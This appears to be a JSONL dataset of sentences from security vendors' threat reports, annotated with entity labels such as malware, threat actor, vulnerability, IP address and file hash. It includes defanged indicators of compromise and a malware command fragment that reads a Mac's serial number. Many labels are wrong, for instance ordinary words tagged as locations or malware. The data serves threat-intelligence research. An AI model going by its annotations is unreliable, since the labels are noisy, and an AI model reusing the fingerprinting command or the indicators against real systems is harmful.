{"id":4553,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50363,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
{"id":13564,"text":"These scripts were managed with an XSS attack framework called \u201cXSS.ME,\u201d which helps attackers deal with their attack scripts and the stolen information.","entities":[{"id":51644,"label":"attack-pattern","start_offset":35,"end_offset":38},{"id":51645,"label":"tools","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4528,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":50324,"label":"identity","start_offset":44,"end_offset":76},{"id":50325,"label":"location","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
{"id":3163,"text":"In addition, this move from AWS validates our XDR strategy, which is focused on using as many data sources as possible to enhance detection and response.","entities":[{"id":48283,"label":"identity","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
{"id":13480,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":2812,"text":" WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017.","entities":[{"id":48030,"label":"malware","start_offset":1,"end_offset":12},{"id":48031,"label":"TIME","start_offset":59,"end_offset":79}],"relations":[],"Comments":[]}
{"id":427,"text":"In this case, we are concerned about coin mining code that\u2019s used on websites.","entities":[],"relations":[],"Comments":[]}
{"id":3106,"text":" Risk Assessment","entities":[],"relations":[],"Comments":[]}
{"id":2581,"text":"Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.","entities":[{"id":7789,"label":"threat-actor","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
{"id":5019,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
{"id":10429,"text":"Kaseya provides IT management software to mostly managed service providers (MSPs).","entities":[],"relations":[],"Comments":[]}
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{"id":14307,"text":"Here, Uninstall.exe is used to get the Windows account and password, and then writes the result to C:\\Users\\%username%\\AppData\\local\\password.txt.","entities":[{"id":48527,"label":"SOFTWARE","start_offset":39,"end_offset":47},{"id":48526,"label":"FILEPATH","start_offset":6,"end_offset":19},{"id":48528,"label":"FILEPATH","start_offset":98,"end_offset":145}],"relations":[],"Comments":[]}
{"id":10890,"text":"     Figure 11. Code showing the creation of the directory     ","entities":[],"relations":[],"Comments":[]}
{"id":3635,"text":" You can see an image of how this works below in Figure 1.  Figure 1 Conversation Hijacking to Deliver Malware  How this works is that two users, Alice (A) and Bob (B) are carrying on an email conversation.","entities":[],"relations":[],"Comments":[]}
{"id":4325,"text":"Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the \u201cComments\u201d property of the document, is created in the temporary directory.","entities":[{"id":50127,"label":"FILEPATH","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
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{"id":13253,"text":"The first PDB string has a certain ss2\/Projects\/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files.","entities":[{"id":41312,"label":"location","start_offset":35,"end_offset":38},{"id":41313,"label":"attack-pattern","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
{"id":12095,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
{"id":10999,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":33527,"label":"location","start_offset":119,"end_offset":122},{"id":33528,"label":"malware","start_offset":123,"end_offset":127},{"id":33529,"label":"location","start_offset":157,"end_offset":160},{"id":33530,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
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{"id":2609,"text":"When employed, various techniques to bypass MFA are observed \u2013 from social engineering, through SIM-swapping and even compromising MFA\/telecoms providers.  Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.","entities":[],"relations":[],"Comments":[]}
{"id":8039,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":24939,"label":"location","start_offset":11,"end_offset":15},{"id":24941,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
{"id":14170,"text":"On March 8, President Biden signed an Executive Order to ban the sale of Russian oil, liquefied natural gas and coal to the United States.","entities":[{"id":48210,"label":"TIME","start_offset":3,"end_offset":10},{"id":48213,"label":"location","start_offset":124,"end_offset":137},{"id":48211,"label":"identity","start_offset":12,"end_offset":27},{"id":48212,"label":"location","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
{"id":6135,"text":"The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.","entities":[{"id":18976,"label":"malware","start_offset":4,"end_offset":9},{"id":18977,"label":"location","start_offset":10,"end_offset":16},{"id":18979,"label":"location","start_offset":37,"end_offset":41},{"id":18980,"label":"tools","start_offset":54,"end_offset":58},{"id":18981,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
{"id":9809,"text":"Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.","entities":[{"id":29908,"label":"threat-actor","start_offset":66,"end_offset":70},{"id":29911,"label":"threat-actor","start_offset":183,"end_offset":187},{"id":29912,"label":"location","start_offset":188,"end_offset":192},{"id":29915,"label":"location","start_offset":218,"end_offset":221},{"id":29918,"label":"location","start_offset":249,"end_offset":252}],"relations":[],"Comments":[]}
{"id":1265,"text":"Five Sysget samples used to target two Japanese organizations.","entities":[{"id":46640,"label":"identity","start_offset":39,"end_offset":61},{"id":46641,"label":"malware","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]}
{"id":4309,"text":"While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer.","entities":[{"id":50105,"label":"attack-pattern","start_offset":66,"end_offset":80},{"id":50106,"label":"malware","start_offset":104,"end_offset":111}],"relations":[],"Comments":[]}
{"id":4930,"text":"In this blog, we explore some of the most notable campaigns we\u2019ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":50945,"label":"threat-actor","start_offset":131,"end_offset":136},{"id":50947,"label":"location","start_offset":141,"end_offset":148}],"relations":[{"id":1033,"from_id":50945,"to_id":50947,"type":"located-at"}],"Comments":[]}
{"id":13654,"text":"The email was sent from an IP address recorded on one of the phishing sites that the attacker tested its functionality on.","entities":[{"id":51744,"label":"attack-pattern","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
{"id":8741,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":8976,"text":"We found 13 different targets while following our sensors\u2018 data.","entities":[],"relations":[],"Comments":[]}
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{"id":5690,"text":"The first cluster is built using virtual private servers (VPS), rented from a service provider, that are used for the group\u2019s watering hole and spear phishing operations, in addition to acting as a command-and-control (C&C) server for malware.","entities":[{"id":17551,"label":"location","start_offset":101,"end_offset":104},{"id":17552,"label":"location","start_offset":135,"end_offset":139},{"id":17553,"label":"location","start_offset":140,"end_offset":143},{"id":17554,"label":"attack-pattern","start_offset":144,"end_offset":158},{"id":17555,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
{"id":1766,"text":" The first line of defense is the IPS.","entities":[],"relations":[],"Comments":[]}
{"id":6917,"text":"The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.","entities":[],"relations":[],"Comments":[]}
{"id":1575,"text":" We are not aware of any reports of successful recovery after paying the ransom.","entities":[],"relations":[],"Comments":[]}
{"id":12831,"text":"Public security Schedule   Enterprises Need to be Proactive PLEAD, Shrouded Crossbow, and Waterbear","entities":[{"id":39972,"label":"location","start_offset":0,"end_offset":6},{"id":39973,"label":"location","start_offset":7,"end_offset":15},{"id":39974,"label":"malware","start_offset":60,"end_offset":65},{"id":39975,"label":"threat-actor","start_offset":67,"end_offset":84},{"id":39976,"label":"location","start_offset":86,"end_offset":89},{"id":39977,"label":"malware","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
{"id":5234,"text":" AnubisSpy can steal messages (SMS), photos, videos, contacts, email accounts, calendar events, and browser histories (i.e., Chrome and Samsung Internet Browser).","entities":[{"id":51267,"label":"malware","start_offset":1,"end_offset":10},{"id":51268,"label":"attack-pattern","start_offset":15,"end_offset":35},{"id":51269,"label":"SOFTWARE","start_offset":125,"end_offset":131},{"id":51270,"label":"SOFTWARE","start_offset":136,"end_offset":160}],"relations":[],"Comments":[]}
{"id":165,"text":"These also happen to be files users are most likely to use on a day-to-day basis or that are critical to an organization\u2019s operations.","entities":[],"relations":[],"Comments":[]}
{"id":12564,"text":"An N-day is a known vulnerability with a publicly available patch.","entities":[],"relations":[],"Comments":[]}
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{"id":1563,"text":"Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.","entities":[{"id":45057,"label":"identity","start_offset":0,"end_offset":26}],"relations":[],"Comments":[]}
{"id":653,"text":"Once the fake chkdisk completes, the malware displays a ransom note which demands a payment of $300 in bitcoin.","entities":[],"relations":[],"Comments":[]}
{"id":3009,"text":"Just like with home entertainment devices, it\u2019s the cloud-based account that attackers are more interested in.","entities":[],"relations":[],"Comments":[]}
{"id":2455,"text":"Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31.","entities":[{"id":47528,"label":"vulnerability","start_offset":4,"end_offset":51},{"id":47529,"label":"TIME","start_offset":82,"end_offset":105}],"relations":[],"Comments":[]}
{"id":5162,"text":"Let us know in the comments below, hit us up on social @TrendMicro or you can reach me directly @marknca.","entities":[{"id":51216,"label":"identity","start_offset":96,"end_offset":104},{"id":51215,"label":"identity","start_offset":55,"end_offset":66}],"relations":[],"Comments":[]}
{"id":12333,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":4628,"text":"Now, we\u2019re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]}
{"id":767,"text":"Figure 4 shows an example of the structure in memory.","entities":[],"relations":[],"Comments":[]}
{"id":4737,"text":"Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.","entities":[{"id":50649,"label":"location","start_offset":71,"end_offset":76},{"id":50650,"label":"location","start_offset":78,"end_offset":84},{"id":50651,"label":"location","start_offset":90,"end_offset":101},{"id":50652,"label":"identity","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
{"id":3227,"text":"The most important task of the c1222 script is to download, decode, and execute the Cobalt Strike shellcode.","entities":[{"id":48346,"label":"malware","start_offset":31,"end_offset":36},{"id":48345,"label":"tools","start_offset":84,"end_offset":97}],"relations":[],"Comments":[]}
{"id":14338,"text":"Another thing that we discovered about the games offered by Round Year Fun is that if you authorize it to use your Twitter account, the author can use the account to promote games using automation tools.","entities":[{"id":48569,"label":"SOFTWARE","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]}
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{"id":11,"text":"Most legacy security programs could not detect this malware at the time it was posted.","entities":[],"relations":[],"Comments":[]}
{"id":9522,"text":"However, it is possible that multiple groups might be covertly sharing the source code for this malware.","entities":[{"id":29212,"label":"attack-pattern","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]}
{"id":6214,"text":"Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.","entities":[{"id":19190,"label":"tools","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
{"id":1986,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.","entities":[{"id":45202,"label":"malware","start_offset":53,"end_offset":60},{"id":45203,"label":"TIME","start_offset":137,"end_offset":150},{"id":45205,"label":"attack-pattern","start_offset":95,"end_offset":111}],"relations":[{"id":81,"from_id":45202,"to_id":45205,"type":"uses"}],"Comments":[]}
{"id":444,"text":"Here the site itself has been attacked, and the site owners are also victims.","entities":[],"relations":[],"Comments":[]}
{"id":2987,"text":"All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:  a. Passcodes to lock the device.","entities":[],"relations":[],"Comments":[]}
{"id":3798,"text":"When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.","entities":[{"id":49661,"label":"malware","start_offset":16,"end_offset":27},{"id":49664,"label":"TIME","start_offset":134,"end_offset":148},{"id":49666,"label":"vulnerability","start_offset":77,"end_offset":121},{"id":49662,"label":"TIME","start_offset":36,"end_offset":44},{"id":49667,"label":"SOFTWARE","start_offset":161,"end_offset":185}],"relations":[{"id":854,"from_id":49661,"to_id":49666,"type":"exploits"},{"id":855,"from_id":49667,"to_id":49666,"type":"has"}],"Comments":[]}
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{"id":3246,"text":"If the backdoor finds that the file \u201cdebug\u201d present inside the root directory, it will wait for 130 seconds and then continue with execution.       Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":6919,"text":"The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429","entities":[],"relations":[],"Comments":[]}
{"id":4808,"text":"The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.","entities":[{"id":50724,"label":"attack-pattern","start_offset":53,"end_offset":84}],"relations":[],"Comments":[]}
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{"id":6580,"text":"We also found a live service selling VPS hosting at secure[.]66[.]to.","entities":[],"relations":[],"Comments":[]}
{"id":1605,"text":" Figure 3: Remote control app terms of service.","entities":[],"relations":[],"Comments":[]}
{"id":3547,"text":"The Trend Micro\u2122 Deep Discovery\u2122 Email Inspector and InterScan\u2122 Web Security solutions prevent malware from ever reaching end users.","entities":[{"id":49329,"label":"tools","start_offset":53,"end_offset":62},{"id":49327,"label":"identity","start_offset":4,"end_offset":15},{"id":49328,"label":"tools","start_offset":17,"end_offset":31}],"relations":[],"Comments":[]}
{"id":9278,"text":"The amount of payment information that was stolen is still unknown.","entities":[],"relations":[],"Comments":[]}
{"id":9413,"text":"Based on our analysis, this group targets gambling websites.","entities":[],"relations":[],"Comments":[]}
{"id":7981,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":24737,"label":"location","start_offset":85,"end_offset":88},{"id":24739,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
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{"id":378,"text":"Vulnerable Systems CVE-2022-26134 in the Wild Cortex Managed Threat Hunting Detections of CVE-2022-26134","entities":[{"id":44726,"label":"vulnerability","start_offset":19,"end_offset":33},{"id":44727,"label":"SOFTWARE","start_offset":46,"end_offset":52},{"id":44728,"label":"vulnerability","start_offset":90,"end_offset":104}],"relations":[],"Comments":[]}
{"id":3430,"text":"flash_installer.exe  BIOPASS RAT Loader  Backdoor.","entities":[{"id":10321,"label":"malware","start_offset":21,"end_offset":32},{"id":49121,"label":"FILEPATH","start_offset":0,"end_offset":19}],"relations":[],"Comments":[]}
{"id":4760,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":50667,"label":"attack-pattern","start_offset":69,"end_offset":77},{"id":50665,"label":"SOFTWARE","start_offset":3,"end_offset":8},{"id":50666,"label":"SOFTWARE","start_offset":31,"end_offset":36},{"id":50668,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":50669,"label":"attack-pattern","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
{"id":8625,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":58,"text":"Figure 2: Price of bitcoin in U.S. dollars from CoinMarketCap  While botnets mining cryptocurrency is nothing new, the technique was much less profitable than using ransomware.","entities":[{"id":45817,"label":"SOFTWARE","start_offset":19,"end_offset":26},{"id":45818,"label":"SOFTWARE","start_offset":48,"end_offset":60}],"relations":[],"Comments":[]}
{"id":5977,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":18388,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":18390,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
{"id":1378,"text":"This file is a legitimate Microsoft Windows binary.","entities":[{"id":4137,"label":"identity","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]}
{"id":766,"text":"This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks.","entities":[],"relations":[],"Comments":[]}
{"id":298,"text":"Learn more and see a detailed workflow example on the Palo Alto Networks SecOps blog, \u201cHow Xpanse Can Identify CISA-Identified Known Exploited Vulnerabilities.\u201d  ","entities":[{"id":45998,"label":"identity","start_offset":111,"end_offset":115},{"id":45996,"label":"identity","start_offset":54,"end_offset":72},{"id":45997,"label":"SOFTWARE","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
{"id":12525,"text":"To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
{"id":12677,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":39330,"label":"location","start_offset":119,"end_offset":122},{"id":39331,"label":"malware","start_offset":123,"end_offset":127},{"id":39332,"label":"location","start_offset":157,"end_offset":160},{"id":39333,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
{"id":867,"text":"While ransomware is often thought to be bullet-proof, it is certainly not always the case.","entities":[],"relations":[],"Comments":[]}
{"id":7518,"text":"Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.","entities":[{"id":23368,"label":"location","start_offset":36,"end_offset":43},{"id":23370,"label":"attack-pattern","start_offset":53,"end_offset":63},{"id":23372,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
{"id":5068,"text":"We\u2019ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]}
{"id":13702,"text":"Be wary of irregular emails with suspicious content such as dubious sender email, domain name, writing style, and urgent requests.","entities":[],"relations":[],"Comments":[]}
{"id":11583,"text":"It also contains a minimalist agent capable of exfiltrating interesting files from the device, such as the Whatsapp database.","entities":[],"relations":[],"Comments":[]}
{"id":11719,"text":"Indicator of Compromise Android Part IoCs  Indicator  Package name  Label  C2 server  Detection  0c182b51ff1dffaa384651e478155632c6e65820322774e416be20e6d49bb8f9  com.example.firstandoidapp  ","entities":[{"id":36115,"label":"SHA2","start_offset":97,"end_offset":161}],"relations":[],"Comments":[]}
{"id":3568,"text":"While ConfuserEx is able to apply multiple transformations to the target binary, we are interested in two particular functions that we can use for correlation:  Source code building.","entities":[{"id":49352,"label":"tools","start_offset":6,"end_offset":16}],"relations":[],"Comments":[]}
{"id":7303,"text":"   Get memory information    ioreg -rd1 -c IOPlatformExpertDevice | awk '\/IOPlatformSerialNumber\/ { split($0, line, \\\"\\\\\\\"\\\"); printf(\\\"%s\\\", line[4]); }","entities":[],"relations":[],"Comments":[]}
{"id":3760,"text":" This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.","entities":[{"id":49590,"label":"malware","start_offset":86,"end_offset":101}],"relations":[],"Comments":[]}
{"id":5169,"text":"Despite being unknown even to industry practitioners, the Data Distribution Service (DDS) protocol has been in use for more than a decade.","entities":[],"relations":[],"Comments":[]}
{"id":14152,"text":"But as we\u2019ve seen with even ransomware actors, the endpoint is being targeted less.","entities":[],"relations":[],"Comments":[]}
{"id":8991,"text":"Second, one of the Linux rshell samples used the IP address 45[.]142[.]214[.]193 as its C&C.","entities":[{"id":27783,"label":"IPV4","start_offset":60,"end_offset":80}],"relations":[],"Comments":[]}
{"id":2585,"text":"The Lapsus$ Group doesn\u2019t employ malware in breached victim environments, doesn\u2019t encrypt data and in most cases, doesn\u2019t actually employ extortion.","entities":[{"id":47771,"label":"attack-pattern","start_offset":26,"end_offset":40},{"id":47770,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":12616,"text":"It will only run at or later than 12:10 PM on any given day; if it is earlier, it will sleep for 15 seconds until it is past the said time.","entities":[{"id":39205,"label":"location","start_offset":3,"end_offset":7},{"id":39206,"label":"location","start_offset":8,"end_offset":12},{"id":39207,"label":"TIME","start_offset":34,"end_offset":42},{"id":39209,"label":"location","start_offset":82,"end_offset":86},{"id":39210,"label":"TIME","start_offset":97,"end_offset":107},{"id":39211,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
{"id":3847,"text":"Once ANEL evolved to \u201c5.1.1 rc,\u201d it changed its file type to an executable, while also changing the C&C server.","entities":[{"id":11661,"label":"malware","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
{"id":11507,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor\u2019s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":35205,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":35206,"label":"location","start_offset":51,"end_offset":59},{"id":35208,"label":"threat-actor","start_offset":82,"end_offset":90},{"id":35209,"label":"tools","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
{"id":10345,"text":"The code inside the BLUE box constructs the main Powershell commands and scripts.","entities":[{"id":31516,"label":"location","start_offset":20,"end_offset":24},{"id":31517,"label":"attack-pattern","start_offset":49,"end_offset":59},{"id":31518,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
{"id":4214,"text":"In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content.","entities":[{"id":50029,"label":"SOFTWARE","start_offset":101,"end_offset":116}],"relations":[],"Comments":[]}
{"id":12322,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
{"id":2984,"text":"This also is an important lesson for kids to understand that privacy on computers isn\u2019t absolute: the admin can always look at what they\u2019re doing.","entities":[],"relations":[],"Comments":[]}
{"id":1831,"text":"Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).","entities":[{"id":5382,"label":"tools","start_offset":23,"end_offset":31},{"id":5383,"label":"tools","start_offset":53,"end_offset":63},{"id":46962,"label":"SOFTWARE","start_offset":144,"end_offset":169},{"id":46963,"label":"FILEPATH","start_offset":117,"end_offset":129},{"id":46964,"label":"attack-pattern","start_offset":71,"end_offset":102}],"relations":[{"id":278,"from_id":46962,"to_id":46963,"type":"consists-of"}],"Comments":[]}
{"id":3730,"text":"On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation.","entities":[{"id":49530,"label":"vulnerability","start_offset":99,"end_offset":113},{"id":49531,"label":"vulnerability","start_offset":118,"end_offset":132},{"id":49533,"label":"SOFTWARE","start_offset":187,"end_offset":203},{"id":49534,"label":"SOFTWARE","start_offset":208,"end_offset":227},{"id":49532,"label":"SOFTWARE","start_offset":158,"end_offset":185},{"id":49528,"label":"TIME","start_offset":3,"end_offset":16},{"id":49529,"label":"identity","start_offset":18,"end_offset":24}],"relations":[{"id":821,"from_id":49532,"to_id":49530,"type":"has"},{"id":822,"from_id":49532,"to_id":49531,"type":"has"},{"id":823,"from_id":49533,"to_id":49530,"type":"has"},{"id":824,"from_id":49533,"to_id":49531,"type":"has"},{"id":825,"from_id":49534,"to_id":49530,"type":"has"},{"id":826,"from_id":49534,"to_id":49531,"type":"has"}],"Comments":[]}
{"id":4048,"text":"After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols.","entities":[],"relations":[],"Comments":[]}
{"id":12487,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":2264,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[{"id":47333,"label":"TIME","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
{"id":1312,"text":"An example upload of these results can be seen below:  PlugX  PlugX is a backdoor that is often used by actors in targeted attacks.","entities":[{"id":3977,"label":"malware","start_offset":55,"end_offset":60},{"id":3978,"label":"malware","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
{"id":2917,"text":"In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.","entities":[{"id":48089,"label":"TIME","start_offset":3,"end_offset":15},{"id":48090,"label":"identity","start_offset":17,"end_offset":43}],"relations":[],"Comments":[]}
{"id":8675,"text":"Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198","entities":[{"id":26782,"label":"IPV4","start_offset":50,"end_offset":66}],"relations":[],"Comments":[]}
{"id":10195,"text":"During the pandemic, we also uncovered attackers posing as news providers with a \u201cCovid19 news software.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":3253,"text":"      Figure 17.","entities":[],"relations":[],"Comments":[]}
{"id":4757,"text":"On Search, Google\u2019s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":50662,"label":"SOFTWARE","start_offset":11,"end_offset":33}],"relations":[],"Comments":[]}
{"id":12869,"text":"      Figure 2 - A Technique detection named \"Clipboard Data or Screenshot Collection via PowerShell\" was generated when powershell.exe executed CopyFromScreen().     The adversary uses privilege escalation, which commonly involves taking advantage of pre-existing system weaknesses, misconfigurations, and vulnerabilities to gain higher permissions.","entities":[{"id":40092,"label":"attack-pattern","start_offset":46,"end_offset":60},{"id":40093,"label":"attack-pattern","start_offset":90,"end_offset":100},{"id":40094,"label":"attack-pattern","start_offset":186,"end_offset":206},{"id":40095,"label":"location","start_offset":303,"end_offset":306}],"relations":[],"Comments":[]}
{"id":5155,"text":"They're going to buy everything that they need and everything that they see as an opportunity, right?","entities":[],"relations":[],"Comments":[]}
{"id":6624,"text":" https:\/\/attack.mitre.org\/groups\/G0064\/","entities":[],"relations":[],"Comments":[]}
{"id":5793,"text":"Maybe explain to the audience what hybrid warfare or cyber warfare is.","entities":[],"relations":[],"Comments":[]}
{"id":26,"text":"It\u2019s a subject Unit 42 has been tracking in the past year:","entities":[{"id":45810,"label":"identity","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]}
{"id":3065,"text":"Since the detection result is fake, the subsequent cleaning is not real either \u2013 the elimination operation is just marking a flag of \"initial_virus_cleared\" to \u201c1\u201d in the app\u2019s internal database.","entities":[],"relations":[],"Comments":[]}
{"id":3971,"text":" As observed on CVE-2020-0688, the use of static keys \u2014 as opposed to randomly generated keys \u2014 can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.","entities":[{"id":49830,"label":"vulnerability","start_offset":16,"end_offset":29},{"id":49831,"label":"attack-pattern","start_offset":121,"end_offset":143}],"relations":[{"id":868,"from_id":49830,"to_id":49831,"type":"uses"}],"Comments":[]}
{"id":1927,"text":"One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.","entities":[{"id":5662,"label":"SHA2","start_offset":187,"end_offset":251},{"id":5659,"label":"threat-actor","start_offset":54,"end_offset":63},{"id":5660,"label":"SHA2","start_offset":65,"end_offset":129},{"id":47051,"label":"malware","start_offset":143,"end_offset":163},{"id":47052,"label":"malware","start_offset":264,"end_offset":281},{"id":47053,"label":"DOMAIN","start_offset":327,"end_offset":339},{"id":47054,"label":"threat-actor","start_offset":368,"end_offset":374}],"relations":[{"id":293,"from_id":5660,"to_id":5659,"type":"authored-by"},{"id":294,"from_id":47051,"to_id":5660,"type":"related-to"},{"id":295,"from_id":47051,"to_id":5659,"type":"authored-by"},{"id":296,"from_id":5662,"to_id":5659,"type":"authored-by"},{"id":297,"from_id":47052,"to_id":5659,"type":"authored-by"},{"id":298,"from_id":47052,"to_id":47053,"type":"beacons-to"},{"id":299,"from_id":47054,"to_id":47053,"type":"controls"}],"Comments":[]}
{"id":963,"text":"The message body and sender phone number are collected as shown in Figure 2.  Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":744,"text":"Of those vulnerabilities, 4 were actively being exploited in the wild.","entities":[],"relations":[],"Comments":[]}
{"id":915,"text":" Figure 7. HTTP POST request indicating a folder is being scanned  This resulted in over 1,000 requests being made on a sandbox machine, which contained little data of interest.","entities":[],"relations":[],"Comments":[]}
{"id":5253,"text":"We analyzed seven apps that were actually AnubisSpy.","entities":[{"id":51294,"label":"malware","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
